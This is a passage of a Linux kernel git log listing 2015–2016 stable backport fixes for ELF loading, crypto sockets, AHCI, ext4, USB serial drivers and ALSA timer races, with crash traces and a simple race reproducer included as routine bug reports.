Pranav Vashi commit 768015e0854cd1a604f8cb11ff8cdf9d53e5a276 Author: Maciej W. Rozycki Date: Mon Oct 26 15:48:19 2015 +0000 binfmt_elf: Don't clobber passed executable's file header commit b582ef5c53040c5feef4c96a8f9585b6831e2441 upstream. Do not clobber the buffer space passed from `search_binary_handler' and originally preloaded by `prepare_binprm' with the executable's file header by overwriting it with its interpreter's file header. Instead keep the buffer space intact and directly use the data structure locally allocated for the interpreter's file header, fixing a bug introduced in 2.1.14 with loadable module support (linux-mips.org commit beb11695 [Import of Linux/MIPS 2.1.14], predating kernel.org repo's history). Adjust the amount of data read from the interpreter's file accordingly. This was not an issue before loadable module support, because back then `load_elf_binary' was executed only once for a given ELF executable, whether the function succeeded or failed. With loadable module support supported and enabled, upon a failure of `load_elf_binary' -- which may for example be caused by architecture code rejecting an executable due to a missing hardware feature requested in the file header -- a module load is attempted and then the function reexecuted by `search_binary_handler'. With the executable's file header replaced with its interpreter's file header the executable can then be erroneously accepted in this subsequent attempt. Signed-off-by: Maciej W. Rozycki Signed-off-by: Al Viro Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ea75a0500ce1a710d11a4c4e1324a24e8af11931 Author: Kinglong Mee Date: Wed Nov 4 15:20:15 2015 +0000 FS-Cache: Increase reference of parent after registering, netfs success commit 86108c2e34a26e4bec3c6ddb23390bf8cedcf391 upstream. If netfs exist, fscache should not increase the reference of parent's usage and n_children, otherwise, never be decreased. v2: thanks David's suggest, move increasing reference of parent if success use kmem_cache_free() freeing primary_index directly v3: don't move "netfs->primary_index->parent = &fscache_fsdef_index;" Signed-off-by: Kinglong Mee Signed-off-by: David Howells Signed-off-by: Al Viro Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a625e9cf4b88998b9372400c094480c9953bc56f Author: Mathias Krause Date: Mon Feb 1 14:27:30 2016 +0100 crypto: user - lock crypto_alg_list on alg dump commit 63e41ebc6630f39422d87f8a4bade1e793f37a01 upstream. We miss to take the crypto_alg_sem semaphore when traversing the crypto_alg_list for CRYPTO_MSG_GETALG dumps. This allows a race with crypto_unregister_alg() removing algorithms from the list while we're still traversing it, thereby leading to a use-after-free as show below: [ 3482.071639] general protection fault: 0000 [#1] SMP [ 3482.075639] Modules linked in: aes_x86_64 glue_helper lrw ablk_helper cryptd gf128mul ipv6 pcspkr serio_raw virtio_net microcode virtio_pci virtio_ring virtio sr_mod cdrom [last unloaded: aesni_intel] [ 3482.075639] CPU: 1 PID: 11065 Comm: crconf Not tainted 4.3.4-grsec+ #126 [ 3482.075639] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.7.5-20140531_083030-gandalf 04/01/2014 [ 3482.075639] task: ffff88001cd41a40 ti: ffff88001cd422c8 task.ti: ffff88001cd422c8 [ 3482.075639] RIP: 0010:[] [] strncpy+0x13/0x30 [ 3482.075639] RSP: 0018:ffff88001f713b60 EFLAGS: 00010202 [ 3482.075639] RAX: ffff88001f6c4430 RBX: ffff88001f6c43a0 RCX: ffff88001f6c4430 [ 3482.075639] RDX: 0000000000000040 RSI: fefefefefefeff16 RDI: ffff88001f6c4430 [ 3482.075639] RBP: ffff88001f713b60 R08: ffff88001f6c4470 R09: ffff88001f6c4480 [ 3482.075639] R10: 0000000000000002 R11: 0000000000000246 R12: ffff88001ce2aa28 [ 3482.075639] R13: ffff880000093700 R14: ffff88001f5e4bf8 R15: 0000000000003b20 [ 3482.075639] FS: 0000033826fa2700(0000) GS:ffff88001e900000(0000) knlGS:0000000000000000 [ 3482.075639] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 3482.075639] CR2: ffffffffff600400 CR3: 00000000139ec000 CR4: 00000000001606f0 [ 3482.075639] Stack: [ 3482.075639] ffff88001f713bd8 ffffffff936ccd00 ffff88001e5c4200 ffff880000093700 [ 3482.075639] ffff88001f713bd0 ffffffff938ef4bf 0000000000000000 0000000000003b20 [ 3482.075639] ffff88001f5e4bf8 ffff88001f5e4848 0000000000000000 0000000000003b20 [ 3482.075639] Call Trace: [ 3482.075639] [] crypto_report_alg+0xc0/0x3e0 [ 3482.075639] [] ? __alloc_skb+0x16f/0x300 [ 3482.075639] [] crypto_dump_report+0x6a/0x90 [ 3482.075639] [] netlink_dump+0x147/0x2e0 [ 3482.075639] [] __netlink_dump_start+0x159/0x190 [ 3482.075639] [] crypto_user_rcv_msg+0xc3/0x130 [ 3482.075639] [] ? crypto_report_alg+0x3e0/0x3e0 [ 3482.075639] [] ? alg_test_crc32c+0x120/0x120 [ 3482.075639] [] ? __netlink_lookup+0xd5/0x120 [ 3482.075639] [] ? crypto_add_alg+0x1d0/0x1d0 [ 3482.075639] [] netlink_rcv_skb+0xe1/0x130 [ 3482.075639] [] crypto_netlink_rcv+0x28/0x40 [ 3482.075639] [] netlink_unicast+0x108/0x180 [ 3482.075639] [] netlink_sendmsg+0x541/0x770 [ 3482.075639] [] sock_sendmsg+0x21/0x40 [ 3482.075639] [] SyS_sendto+0xf3/0x130 [ 3482.075639] [] ? bad_area_nosemaphore+0x13/0x20 [ 3482.075639] [] ? __do_page_fault+0x80/0x3a0 [ 3482.075639] [] entry_SYSCALL_64_fastpath+0x12/0x6e [ 3482.075639] Code: 88 4a ff 75 ed 5d 48 0f ba 2c 24 3f c3 66 66 2e 0f 1f 84 00 00 00 00 00 55 48 85 d2 48 89 f8 48 89 f9 4c 8d 04 17 48 89 e5 74 15 <0f> b6 16 80 fa 01 88 11 48 83 de ff 48 83 c1 01 4c 39 c1 75 eb [ 3482.075639] RIP [] strncpy+0x13/0x30 To trigger the race run the following loops simultaneously for a while: $ while : ; do modprobe aesni-intel; rmmod aesni-intel; done $ while : ; do crconf show all > /dev/null; done Fix the race by taking the crypto_alg_sem read lock, thereby preventing crypto_unregister_alg() from modifying the algorithm list during the dump. This bug has been detected by the PaX memory sanitize feature. Signed-off-by: Mathias Krause Cc: Steffen Klassert Cc: PaX Team Signed-off-by: Herbert Xu Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f5963d770d56345ff8937588286368d72c835dc3 Author: Wang, Rui Y Date: Wed Jan 27 17:08:37 2016 +0800 crypto: algif_hash - wait for crypto_ahash_init() to complete commit fe09786178f9df713a4b2dd6b93c0a722346bf5e upstream. hash_sendmsg/sendpage() need to wait for the completion of crypto_ahash_init() otherwise it can cause panic. Signed-off-by: Rui Wang Signed-off-by: Herbert Xu Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3bb15da7a50ddee3d3631d771e8e55afddb9c585 Author: Alexandra Yates Date: Fri Feb 5 15:27:49 2016 -0800 ahci: Intel DNV device IDs SATA commit 342decff2b846b46fa61eb5ee40986fab79a9a32 upstream. Adding Intel codename DNV platform device IDs for SATA. Signed-off-by: Alexandra Yates Signed-off-by: Tejun Heo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b9625b4ac0b64188717e3e92a28f82372e8683f3 Author: Tejun Heo Date: Fri Jan 15 15:13:05 2016 -0500 libata: disable forced PORTS_IMPL for >= AHCI 1.3 commit 566d1827df2ef0cbe921d3d6946ac3007b1a6938 upstream. Some early controllers incorrectly reported zero ports in PORTS_IMPL register and the ahci driver fabricates PORTS_IMPL from the number of ports in those cases. This hasn't mattered but with the new nvme controllers there are cases where zero PORTS_IMPL is valid and should be honored. Disable the workaround for >= AHCI 1.3. Signed-off-by: Tejun Heo Reported-by: Andy Lutomirski Link: http://lkml.kernel.org/g/CALCETrU7yMvXEDhjAUShoHEhDwifJGapdw--BKxsP0jmjKGmRw@mail.gmail.com Cc: Sergei Shtylyov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 290853462b6a2bfeee36c1d412f21a495632d5e3 Author: Xiangliang Yu Date: Thu Nov 26 20:27:02 2015 +0800 AHCI: Fix softreset failed issue of Port Multiplier commit 023113d24ef9e1d2b44cb2446872b17e2b01d8b1 upstream. Current code doesn't update port value of Port Multiplier(PM) when sending FIS of softreset to device, command will fail if FBS is enabled. There are two ways to fix the issue: the first is to disable FBS before sending softreset command to PM device and the second is to update port value of PM when sending command. For the first way, i can't find any related rule in AHCI Spec. The second way can avoid disabling FBS and has better performance. Signed-off-by: Xiangliang Yu Signed-off-by: Tejun Heo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 95f1711fe379588c472a6eb4aa11a909730a3174 Author: Herbert Xu Date: Wed Dec 30 20:24:17 2015 +0800 crypto: af_alg - Fix socket double-free when accept fails commit a383292c86663bbc31ac62cc0c04fc77504636a6 upstream. When we fail an accept(2) call we will end up freeing the socket twice, once due to the direct sk_free call and once again through newsock. This patch fixes this by removing the sk_free call. Reported-by: Dmitry Vyukov Signed-off-by: Herbert Xu Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1db695e15ff4963c00eff909773dae359e15484a Author: Herbert Xu Date: Wed Dec 30 11:47:53 2015 +0800 crypto: af_alg - Disallow bind/setkey/... after accept(2) commit c840ac6af3f8713a71b4d2363419145760bd6044 upstream. Each af_alg parent socket obtained by socket(2) corresponds to a tfm object once bind(2) has succeeded. An accept(2) call on that parent socket creates a context which then uses the tfm object. Therefore as long as any child sockets created by accept(2) exist the parent socket must not be modified or freed. This patch guarantees this by using locks and a reference count on the parent socket. Any attempt to modify the parent socket will fail with EBUSY. Reported-by: Dmitry Vyukov Signed-off-by: Herbert Xu Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 21b57bbd6acf335a4a6b611f48d85a01d17f4af1 Author: David Turner Date: Tue Nov 24 14:34:37 2015 -0500 ext4: Fix handling of extended tv_sec commit a4dad1ae24f850410c4e60f22823cba1289b8d52 upstream. In ext4, the bottom two bits of {a,c,m}time_extra are used to extend the {a,c,m}time fields, deferring the year 2038 problem to the year 2446. When decoding these extended fields, for times whose bottom 32 bits would represent a negative number, sign extension causes the 64-bit extended timestamp to be negative as well, which is not what's intended. This patch corrects that issue, so that the only negative {a,c,m}times are those between 1901 and 1970 (as per 32-bit signed timestamps). Some older kernels might have written pre-1970 dates with 1,1 in the extra bits. This patch treats those incorrectly-encoded dates as pre-1970, instead of post-2311, until kernel 4.20 is released. Hopefully by then e2fsck will have fixed up the bad data. Also add a comment explaining the encoding of ext4's extra {a,c,m}time bits. Signed-off-by: David Turner Signed-off-by: Theodore Ts'o Reported-by: Mark Harris Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=23732 Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0c046a262ab452d02fad19657936a0a3c5d23c13 Author: John Ernberg Date: Mon Jan 25 12:27:17 2016 +0000 USB: option: fix Cinterion AHxx enumeration commit 4152b387da81617c80cb2946b2d56e3958906b3e upstream. In certain kernel configurations where the cdc_ether and option drivers are compiled as modules there can occur a race condition in enumeration. This causes the option driver to enumerate the ethernet(wwan) interface as usb-serial interfaces. usb-devices output for the modem: T: Bus=01 Lev=01 Prnt=01 Port=00 Cnt=01 Dev#= 5 Spd=480 MxCh= 0 D: Ver= 2.00 Cls=ef(misc ) Sub=02 Prot=01 MxPS=64 #Cfgs= 1 P: Vendor=1e2d ProdID=0055 Rev=00.00 S: Manufacturer=Cinterion S: Product=AHx C: #Ifs= 6 Cfg#= 1 Atr=e0 MxPwr=10mA I: If#= 0 Alt= 0 #EPs= 2 Cls=ff(vend.) Sub=ff Prot=ff Driver=option I: If#= 1 Alt= 0 #EPs= 2 Cls=ff(vend.) Sub=ff Prot=ff Driver=option I: If#= 2 Alt= 0 #EPs= 2 Cls=ff(vend.) Sub=ff Prot=ff Driver=option I: If#= 3 Alt= 0 #EPs= 3 Cls=ff(vend.) Sub=ff Prot=ff Driver=option I: If#= 4 Alt= 0 #EPs= 1 Cls=02(commc) Sub=06 Prot=00 Driver=cdc_ether I: If#= 5 Alt= 1 #EPs= 2 Cls=0a(data ) Sub=00 Prot=00 Driver=cdc_ether Signed-off-by: John Ernberg Fixes: 1941138e1c02 ("USB: added support for Cinterion's products...") Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d67aa17221864e350ef57db1d2aa6acd59989c31 Author: Daniele Palmas Date: Tue Jan 12 17:22:06 2016 +0100 USB: serial: option: Adding support for Telit LE922 commit ff4e2494dc17b173468e1713fdf6237fd8578bc7 upstream. This patch adds support for two PIDs of LE922. Signed-off-by: Daniele Palmas Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3f85e19bea06b9a500f10a36a7d1120c47bd2203 Author: Peter Dedecker Date: Fri Jan 8 12:34:41 2016 +0100 USB: cp210x: add ID for IAI USB to RS485 adaptor commit f487c54ddd544e1c9172cd510954f697b77b76e3 upstream. Added the USB serial console device ID for IAI Corp. RCB-CV-USB USB to RS485 adaptor. Signed-off-by: Peter Dedecker Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8798ee2201839c5f2c71c93f37290f0a4782cdef Author: Greg Kroah-Hartman Date: Tue Jan 19 23:43:13 2016 -0800 USB: serial: ftdi_sio: add support for Yaesu SCU-18 cable commit e03cdf22a2727c60307be6a729233edab3bfda9c upstream. Harald Linden reports that the ftdi_sio driver works properly for the Yaesu SCU-18 cable if the device ids are added to the driver. So let's add them. Reported-by: Harald Linden Signed-off-by: Greg Kroah-Hartman Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7b2f8900b3543da3762beb3a73edcc0ec6cbf24d Author: Johan Hovold Date: Tue Jan 12 12:05:20 2016 +0100 USB: visor: fix null-deref at probe commit cac9b50b0d75a1d50d6c056ff65c005f3224c8e0 upstream. Fix null-pointer dereference at probe should a (malicious) Treo device lack the expected endpoints. Specifically, the Treo port-setup hack was dereferencing the bulk-in and interrupt-in urbs without first making sure they had been allocated by core. Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2") Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e1187336a8c7d882d011e3a44352d5a5d10fb0e5 Author: Vladis Dronov Date: Tue Jan 12 15:10:50 2016 +0100 USB: serial: visor: fix crash on detecting device without write_urbs commit cb3232138e37129e88240a98a1d2aba2187ff57c upstream. The visor driver crashes in clie_5_attach() when a specially crafted USB device without bulk-out endpoint is detected. This fix adds a check that the device has proper configuration expected by the driver. Reported-by: Ralf Spenneberg Signed-off-by: Vladis Dronov Fixes: cfb8da8f69b8 ("USB: visor: fix initialisation of UX50/TH55 devices") Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 87227a57ab5ad9840eb8554fa2f52f1d4ae8741a Author: Ben Hutchings Date: Wed Dec 23 13:25:54 2015 +0000 USB: ti_usb_3410_502: Fix ID table size Commit 35a2fbc941ac ("USB: serial: ti_usb_3410_5052: new device id for Abbot strip port cable") failed to update the size of the ti_id_table_3410 array. This doesn't need to be fixed upstream following commit d7ece6515e12 ("USB: ti_usb_3410_5052: remove vendor/product module parameters") but should be fixed in stable branches older than 3.12. Backports of commit c9d09dc7ad10 ("USB: serial: ti_usb_3410_5052: add Abbott strip port ID to combined table as well.") similarly failed to update the size of the ti_id_table_combined array. Signed-off-by: Ben Hutchings Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 52e2f6f1c19503e8babad18dd160609485b9ab5a Author: Mauro Carvalho Chehab Date: Thu Feb 4 15:59:43 2016 -0200 saa7134-alsa: Only frees registered sound cards commit ac75fe5d8fe4a0bf063be18fb29684405279e79e upstream. That prevents this bug: [ 2382.269496] BUG: unable to handle kernel NULL pointer dereference at 0000000000000540 [ 2382.270013] IP: [] snd_card_free+0x36/0x70 [snd] [ 2382.270013] PGD 0 [ 2382.270013] Oops: 0002 [#1] SMP [ 2382.270013] Modules linked in: saa7134_alsa(-) tda1004x saa7134_dvb videobuf2_dvb dvb_core tda827x tda8290 tuner saa7134 tveeprom videobuf2_dma_sg videobuf2_memops videobuf2_v4l2 videobuf2_core v4l2_common videodev media auth_rpcgss nfsv4 dns_resolver nfs lockd grace sunrpc tun bridge stp llc ebtables ip6table_filter ip6_tables nf_conntrack_ipv4 nf_defrag_ipv4 xt_conntrack nf_conntrack it87 hwmon_vid snd_hda_codec_idt snd_hda_codec_generic iTCO_wdt iTCO_vendor_support snd_hda_intel snd_hda_codec snd_hwdep snd_hda_core snd_seq pcspkr i2c_i801 snd_seq_device snd_pcm snd_timer lpc_ich snd mfd_core soundcore binfmt_misc i915 video i2c_algo_bit drm_kms_helper drm r8169 ata_generic serio_raw pata_acpi mii i2c_core [last unloaded: videobuf2_memops] [ 2382.270013] CPU: 0 PID: 4899 Comm: rmmod Not tainted 4.5.0-rc1+ #4 [ 2382.270013] Hardware name: PCCHIPS P17G/P17G, BIOS 080012 05/14/2008 [ 2382.270013] task: ffff880039c38000 ti: ffff88003c764000 task.ti: ffff88003c764000 [ 2382.270013] RIP: 0010:[] [] snd_card_free+0x36/0x70 [snd] [ 2382.270013] RSP: 0018:ffff88003c767ea0 EFLAGS: 00010286 [ 2382.270013] RAX: ffff88003c767eb8 RBX: 0000000000000000 RCX: 0000000000006260 [ 2382.270013] RDX: ffffffffa020a060 RSI: ffffffffa0206de1 RDI: ffff88003c767eb0 [ 2382.270013] RBP: ffff88003c767ed8 R08: 0000000000019960 R09: ffffffff811a5412 [ 2382.270013] R10: ffffea0000d7c200 R11: 0000000000000000 R12: ffff88003c767ea8 [ 2382.270013] R13: 00007ffe760617f7 R14: 0000000000000000 R15: 0000557625d7f1e0 [ 2382.270013] FS: 00007f80bb1c0700(0000) GS:ffff88003f400000(0000) knlGS:0000000000000000 [ 2382.270013] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b [ 2382.270013] CR2: 0000000000000540 CR3: 000000003c00f000 CR4: 00000000000006f0 [ 2382.270013] Stack: [ 2382.270013] 000000003c767ed8 ffffffff00000000 ffff880000000000 ffff88003c767eb8 [ 2382.270013] ffff88003c767eb8 ffffffffa049a890 00007ffe76060060 ffff88003c767ef0 [ 2382.270013] ffffffffa049889d ffffffffa049a500 ffff88003c767f48 ffffffff8111079c [ 2382.270013] Call Trace: [ 2382.270013] [] saa7134_alsa_exit+0x1d/0x780 [saa7134_alsa] [ 2382.270013] [] SyS_delete_module+0x19c/0x1f0 [ 2382.270013] [] entry_SYSCALL_64_fastpath+0x12/0x71 [ 2382.270013] Code: 20 a0 48 c7 c6 e1 6d 20 a0 48 89 e5 41 54 53 4c 8d 65 d0 48 89 fb 48 83 ec 28 c7 45 d0 00 00 00 00 49 8d 7c 24 08 e8 7a 55 ed e0 <4c> 89 a3 40 05 00 00 48 89 df e8 eb fd ff ff 85 c0 75 1a 48 8d [ 2382.270013] RIP [] snd_card_free+0x36/0x70 [snd] [ 2382.270013] RSP [ 2382.270013] CR2: 0000000000000540 Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 291a97f73ca9dcb79aaff49906e76698e5e2bf7e Author: Takashi Iwai Date: Tue Feb 9 12:02:32 2016 +0100 ALSA: timer: Fix race between stop and interrupt commit ed8b1d6d2c741ab26d60d499d7fbb7ac801f0f51 upstream. A slave timer element also unlinks at snd_timer_stop() but it takes only slave_active_lock. When a slave is assigned to a master, however, this may become a race against the master's interrupt handling, eventually resulting in a list corruption. The actual bug could be seen with a syzkaller fuzzer test case in BugLink below. As a fix, we need to take timeri->timer->lock when timer isn't NULL, i.e. assigned to a master, while the assignment to a master itself is protected by slave_active_lock. BugLink: http://lkml.kernel.org/r/CACT4Y+Y_Bm+7epAb=8Wi=AaWd+DYS7qawX52qxdCfOfY49vozQ@mail.gmail.com Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2c85bdec909184759e0689b83a9e56037582a1b5 Author: Takashi Iwai Date: Tue Feb 2 15:27:36 2016 +0100 ALSA: dummy: Implement timer backend switching more safely commit ddce57a6f0a2d8d1bfacfa77f06043bc760403c2 upstream. Currently the selected timer backend is referred at any moment from the running PCM callbacks. When the backend is switched, it's possible to lead to inconsistency from the running backend. This was pointed by syzkaller fuzzer, and the commit [7ee96216c31a: ALSA: dummy: Disable switching timer backend via sysfs] disabled the dynamic switching for avoiding the crash. This patch improves the handling of timer backend switching. It keeps the reference to the selected backend during the whole operation of an opened stream so that it won't be changed by other streams. Together with this change, the hrtimer parameter is reenabled as writable now. NOTE: this patch also turned out to fix the still remaining race. Namely, ops was still replaced dynamically at dummy_pcm_open: static int dummy_pcm_open(struct snd_pcm_substream *substream) { .... dummy->timer_ops = &dummy_systimer_ops; if (hrtimer) dummy->timer_ops = &dummy_hrtimer_ops; Since dummy->timer_ops is common among all streams, and when the replacement happens during accesses of other streams, it may lead to a crash. This was actually triggered by syzkaller fuzzer and KASAN. This patch rewrites the code not to use the ops shared by all streams any longer, too. BugLink: http://lkml.kernel.org/r/CACT4Y+aZ+xisrpuM6cOXbL21DuM0yVxPYXf4cD4Md9uw0C3dBQ@mail.gmail.com Reported-by: Dmitry Vyukov Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 88facc7c19eb09eb7745ad6eff985b41a8c3baaf Author: Takashi Iwai Date: Sun Feb 7 09:38:26 2016 +0100 ALSA: hda - Fix speaker output from VAIO AiO machines commit c44d9b1181cf34e0860c72cc8a00e0c47417aac0 upstream. Some Sony VAIO AiO models (VGC-JS4EF and VGC-JS25G, both with PCI SSID 104d:9044) need the same quirk to make the speaker working properly. Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=112031 Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 730e94942d1113ca3048d6ece41b98ec9fe33b1f Author: Takashi Iwai Date: Mon Feb 8 17:36:25 2016 +0100 ALSA: timer: Fix wrong instance passed to slave callbacks commit 117159f0b9d392fb433a7871426fad50317f06f7 upstream. In snd_timer_notify1(), the wrong timer instance was passed for slave ccallback function. This leads to the access to the wrong data when an incompatible master is handled (e.g. the master is the sequencer timer and the slave is a user timer), as spotted by syzkaller fuzzer. This patch fixes that wrong assignment. BugLink: http://lkml.kernel.org/r/CACT4Y+Y_Bm+7epAb=8Wi=AaWd+DYS7qawX52qxdCfOfY49vozQ@mail.gmail.com Reported-by: Dmitry Vyukov Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f7c946c0f7cd62578547a4c347dd40246d983854 Author: Takashi Iwai Date: Sat Jan 30 23:09:08 2016 +0100 ALSA: timer: Fix link corruption due to double start or stop commit f784beb75ce82f4136f8a0960d3ee872f7109e09 upstream. Although ALSA timer code got hardening for races, it still causes use-after-free error. This is however rather a corrupted linked list, not actually the concurrent accesses. Namely, when timer start is triggered twice, list_add_tail() is called twice, too. This ends up with the link corruption and triggers KASAN error. The simplest fix would be replacing list_add_tail() with list_move_tail(), but fundamentally it's the problem that we don't check the double start/stop correctly. So, the right fix here is to add the proper checks to snd_timer_start() and snd_timer_stop() (and their variants). BugLink: http://lkml.kernel.org/r/CACT4Y+ZyPRoMQjmawbvmCEDrkBD2BQuH7R09=eOkf5ESK8kJAw@mail.gmail.com Reported-by: Dmitry Vyukov Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 90a189e09bd4247ae30821092ddf1e20aad6d74c Author: Takashi Iwai Date: Thu Feb 4 17:06:13 2016 +0100 ALSA: timer: Fix leftover link at closing commit 094fd3be87b0f102589e2d5c3fa5d06b7e20496d upstream. In ALSA timer core, the active timer instance is managed in active_list linked list. Each element is added / removed dynamically at timer start, stop and in timer interrupt. The problem is that snd_timer_interrupt() has a thinko and leaves the element in active_list when it's the last opened element. This eventually leads to list corruption or use-after-free error. This hasn't been revealed because we used to delete the list forcibly in snd_timer_stop() in the past. However, the recent fix avoids the double-stop behavior (in commit [f784beb75ce8: ALSA: timer: Fix link corruption due to double start or stop]), and this leak hits reality. This patch fixes the link management in snd_timer_interrupt(). Now it simply unlinks no matter which stream is. BugLink: http://lkml.kernel.org/r/CACT4Y+Yy2aukHP-EDp8-ziNqNNmb-NTf=jDWXMP7jB8HDa2vng@mail.gmail.com Reported-by: Dmitry Vyukov Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f9e84d0232eccd5059df264874004bcdad7feec5 Author: Takashi Iwai Date: Thu Jan 14 17:01:46 2016 +0100 ALSA: timer: Code cleanup commit c3b1681375dc6e71d89a3ae00cc3ce9e775a8917 upstream. This is a minor code cleanup without any functional changes: - Kill keep_flag argument from _snd_timer_stop(), as all callers pass only it false. - Remove redundant NULL check in _snd_timer_stop(). Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6152108d249e0c09637997d1f36e8fd546529cef Author: Takashi Iwai Date: Wed Feb 3 08:32:44 2016 +0100 ALSA: seq: Fix lockdep warnings due to double mutex locks commit 7f0973e973cd74aa40747c9d38844560cd184ee8 upstream. The port subscription code uses double mutex locks for source and destination ports, and this may become racy once when wrongly set up. It leads to lockdep warning splat, typically triggered by fuzzer like syzkaller, although the actual deadlock hasn't been seen, so far. This patch simplifies the handling by reducing to two single locks, so that no lockdep warning will be trigger any longer. By splitting to two actions, a still-in-progress element shall be added in one list while handling another. For ignoring this element, a new check is added in deliver_to_subscribers(). Along with it, the code to add/remove the subscribers list element was cleaned up and refactored. BugLink: http://lkml.kernel.org/r/CACT4Y+aKQXV7xkBW9hpQbzaDO7LrUvohxWh-UwMxXjDy-yBD=A@mail.gmail.com Reported-by: Dmitry Vyukov Tested-by: Dmitry Vyukov Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit dfe10198eaae4c0bbed91ada061d27f42c002bfa Author: Takashi Iwai Date: Mon Feb 1 12:06:42 2016 +0100 ALSA: seq: Fix race at closing in virmidi driver commit 2d1b5c08366acd46c35a2e9aba5d650cb5bf5c19 upstream. The virmidi driver has an open race at closing its assigned rawmidi device, and this may lead to use-after-free in snd_seq_deliver_single_event(). Plug the hole by properly protecting the linked list deletion and calling in the right order in snd_virmidi_input_close(). BugLink: http://lkml.kernel.org/r/CACT4Y+Zd66+w12fNN85-425cVQT=K23kWbhnCEcMB8s3us-Frw@mail.gmail.com Reported-by: Dmitry Vyukov Tested-by: Dmitry Vyukov Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2318cc3300d2336218b082f419c679e5e49d609a Author: Takashi Iwai Date: Sat Jan 30 23:30:25 2016 +0100 ALSA: seq: Fix yet another races among ALSA timer accesses commit 2cdc7b636d55cbcf42e1e6c8accd85e62d3e9ae8 upstream. ALSA sequencer may open/close and control ALSA timer instance dynamically either via sequencer events or direct ioctls. These are done mostly asynchronously, and it may call still some timer action like snd_timer_start() while another is calling snd_timer_close(). Since the instance gets removed by snd_timer_close(), it may lead to a use-after-free. This patch tries to address such a race by protecting each snd_timer_*() call via the existing spinlock and also by avoiding the access to timer during close call. BugLink: http://lkml.kernel.org/r/CACT4Y+Z6RzW5MBr-HUdV-8zwg71WQfKTdPpYGvOeS7v4cyurNQ@mail.gmail.com Reported-by: Dmitry Vyukov Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ea50fade54a39da843d4dc8cb99a89de3430abca Author: Vinod Koul Date: Mon Feb 1 22:26:40 2016 +0530 ASoC: dpcm: fix the BE state on hw_free commit 5e82d2be6ee53275c72e964507518d7964c82753 upstream. While performing hw_free, DPCM checks the BE state but leaves out the suspend state. The suspend state needs to be checked as well, as we might be suspended and then usermode closes rather than resuming the audio stream. This was found by a stress testing of system with playback in loop and killed after few seconds running in background and second script running suspend-resume test in loop Signed-off-by: Vinod Koul Acked-by: Liam Girdwood Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2d1c9bd25a0c5353c44ccfbaddd3de8c82333727 Author: Takashi Iwai Date: Sun Jan 31 10:32:37 2016 +0100 ALSA: pcm: Fix potential deadlock in OSS emulation commit b248371628aad599a48540962f6b85a21a8a0c3f upstream. There are potential deadlocks in PCM OSS emulation code while accessing read/write and mmap concurrently. This comes from the infamous mmap_sem usage in copy_from/to_user(). Namely, snd_pcm_oss_write() -> &runtime->oss.params_lock -> copy_to_user() -> &mm->mmap_sem mmap() -> &mm->mmap_sem -> snd_pcm_oss_mmap() -> &runtime->oss.params_lock Since we can't avoid taking params_lock from mmap code path, use trylock variant and aborts with -EAGAIN as a workaround of this AB/BA deadlock. BugLink: http://lkml.kernel.org/r/CACT4Y+bVrBKDG0G2_AcUgUQa+X91VKTeS4v+wN7BSHwHtqn3kQ@mail.gmail.com Reported-by: Dmitry Vyukov Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 62851c490c215f595b7908d47d23e216b77874b9 Author: Takashi Iwai Date: Wed Feb 3 14:41:22 2016 +0100 ALSA: rawmidi: Fix race at copying & updating the position commit 81f577542af15640cbcb6ef68baa4caa610cbbfc upstream. The rawmidi read and write functions manage runtime stream status such as runtime->appl_ptr and runtime->avail. These point where to copy the new data and how many bytes have been copied (or to be read). The problem is that rawmidi read/write call copy_from_user() or copy_to_user(), and the runtime spinlock is temporarily unlocked and relocked while copying user-space. Since the current code advances and updates the runtime status after the spin unlock/relock, the 